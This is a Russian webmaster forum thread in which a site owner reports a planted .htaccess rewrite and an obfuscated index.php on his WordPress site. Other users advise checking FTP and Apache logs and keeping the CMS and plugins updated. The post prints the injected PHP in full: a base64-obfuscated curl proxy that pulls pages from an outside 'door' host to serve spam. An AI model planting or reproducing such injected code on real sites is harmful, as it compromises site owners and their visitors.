Взлом хостинга??

123 4
rammlied
На сайте с 13.04.2011
Offline
56
3159

В общем такая проблемка. Сегодня просматривал что Яша проиндексировал на одном из сайтов и наткнулся на страницы которых у меня нет.

Сайт на движке ВП + другая часть сайта сделана так что там мои самописные на пгп файлы для которых шапка и футер из ВП (простое копирование хтмл кода из одной из страниц сайта), но не суть

в папке с моими файлами обнаружил файл .htacsess в котором был прописан какой то реврайт и индекс.пгп в котором было это:

<? $GLOBALS['_778537542_']=Array(base64_decode('Y3Vy' .'bF' .'9' .'pbml0'),base64_decode('Y3Vy' .'bF' .'9zZXRv' .'cHQ='),base64_decode('' .'Y3VybF9zZXRvc' .'HQ='),base64_decode('Y3V' .'ybF9leGVj'),base64_decode('' .'Y3' .'VybF9jb' .'G9zZQ=='),base64_decode('c3R' .'yc' .'3' .'Ry'),base64_decode('aGVhZGVy'),base64_decode('c3Ryc' .'3Ry'),base64_decode('aGVhZG' .'Vy'),base64_decode('c3Ry' .'c' .'3R' .'y'),base64_decode('c' .'3Ryc' .'3' .'Ry'),base64_decode('aGVhZGVy'),base64_decode('c3R' .'yc3Ry'),base64_decode('a' .'GV' .'hZGVy'),base64_decode('aGVhZGVy')); ?><? function _214589430($i){$a=Array('aWQ=','aHR0cDovL2tvcGV0YW4uaW5mby9kb29yL2hpbGx1LnJ1Lw==','LmNzcw==','Q29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD13aW5kb3dzLTEyNTE=','LnBuZw==','Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=','LmpwZw==','LmpwZWc=','Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn','LmdpZg==','Q29udGVudC1UeXBlOiBpbWFnZS9naWY=','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUx');return base64_decode($a[$i]);} ?><? $_0=$_REQUEST[_214589430(0)];$_1=$GLOBALS['_778537542_'][0]();$_2=_214589430(1) .$_0;$GLOBALS['_778537542_'][1]($_1,CURLOPT_URL,$_2);$GLOBALS['_778537542_'][2]($_1,CURLOPT_RETURNTRANSFER,round(0+0.333333333333+0.333333333333+0.333333333333));$_3=$GLOBALS['_778537542_'][3]($_1);$GLOBALS['_778537542_'][4]($_1);if($GLOBALS['_778537542_'][5]($_0,_214589430(2))){$GLOBALS['_778537542_'][6](_214589430(3));}elseif($GLOBALS['_778537542_'][7]($_0,_214589430(4))){$GLOBALS['_778537542_'][8](_214589430(5));}elseif($GLOBALS['_778537542_'][9]($_0,_214589430(6))|| $GLOBALS['_778537542_'][10]($_0,_214589430(7))){$GLOBALS['_778537542_'][11](_214589430(8));}elseif($GLOBALS['_778537542_'][12]($_0,_214589430(9))){$GLOBALS['_778537542_'][13](_214589430(10));}else{$GLOBALS['_778537542_'][14](_214589430(11));}echo $_3; ?>


Что посоветуете, просто почистить эту гадость и сменить пароли или еще что то нужно сделать?

делаю СДЛы, получаются ГСы )
ware
На сайте с 12.09.2010
Offline
406
#1
rammlied:
Что посоветуете, просто почистить эту гадость и сменить пароли или еще что то нужно сделать?

а права на файл .htaccess какие стоят? 777?

rammlied
На сайте с 13.04.2011
Offline
56
#2
ware:
а права на файл .htaccess какие стоят? 777?

к сожалению я этот файл уже удалил, но он не мой это точно ( тем более что он во внутренней папке с моими пгп файлами, был бы в корне тогда вообще бы наверное ничего не заметил)

AM
На сайте с 09.01.2007
Offline
467
#3

я бы на хостинг думал в последнюю очередь

скорее взлом движка сайта или классический увод пароля фтп

autocalc
На сайте с 11.05.2011
Offline
52
#4
rammlied:
к сожалению я этот файл уже удалил, но он не мой это точно ( тем более что он во внутренней папке с моими пгп файлами, был бы в корне тогда вообще бы наверное ничего не заметил)

А какой у Вас хостинг? В личку)

H
На сайте с 12.05.2007
Offline
133
#5
rammlied:
к сожалению я этот файл уже удалил, но он не мой это точно ( тем более что он во внутренней папке с моими пгп файлами, был бы в корне тогда вообще бы наверное ничего не заметил)

Очень зря вы его удалили.

Начинать рыть нужно было именно глядя на момент модификации файлов.

Хотя это можно подделать - не все этим заморачиваются.

hvosting.ua (http://hvosting.ua/)
[Удален]
#6

Регулярно вижу такие сообщения - взломали сайт на WP

Он че, настолько дырявый, что первоклассником ломается?

hostplus.ws
На сайте с 30.11.2008
Offline
91
#7

нужно определить сначала источник проблемы (без этого все действия будут не более, чем попытки тыкать в небо пальцем в надежде его проткнуть), а именно:

1) Смотрим лог фтп сначала (правда без даты создания файла тяжело будет понять когда именно и что было сделано) на предмет аплоуда файла, если ничего нет тогда

2) Смотрим лог апача на предмет POST запросов (в первую очередь) и далее по ситуации

hostplus.ws добавил 23.08.2011 в 16:52

dyakoff:
Регулярно вижу такие сообщения - взломали сайт на WP

Он че, настолько дырявый, что первоклассником ломается?

проблема не в самой CMS, а в дополнениях (плагины и т.д.)

VPS/VDS решения и виртуальный хостинг - www.hostplus.ws (www.hostplus.ws)
iren K
На сайте с 28.12.2008
Offline
222
#8
dyakoff:
Регулярно вижу такие сообщения - взломали сайт на WP

Он че, настолько дырявый, что первоклассником ломается?

нет,просто его часто первоклассники ставят,ибо халява, да и особого ума не надо..

c уважением Iren
AM
На сайте с 09.01.2007
Offline
467
#9
dyakoff:
Он че, настолько дырявый, что первоклассником ломается?

так нужно следить за обновлениями движка и плагинов и проблем будет на порядок меньше.

а если не обновляться то опасность велика, так как движок распространенный и проблемы в нем находят тоже часто

hostplus.ws
На сайте с 30.11.2008
Offline
91
#10
AndyM:
так нужно следить за обновлениями движка и плагинов и проблем будет на порядок меньше.
а если не обновляться то опасность велика, так как движок распространенный и проблемы в нем находят тоже часто

тоже самое кстати касается любого ПО (любой CMS), той же joomla к примеру

123 4

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий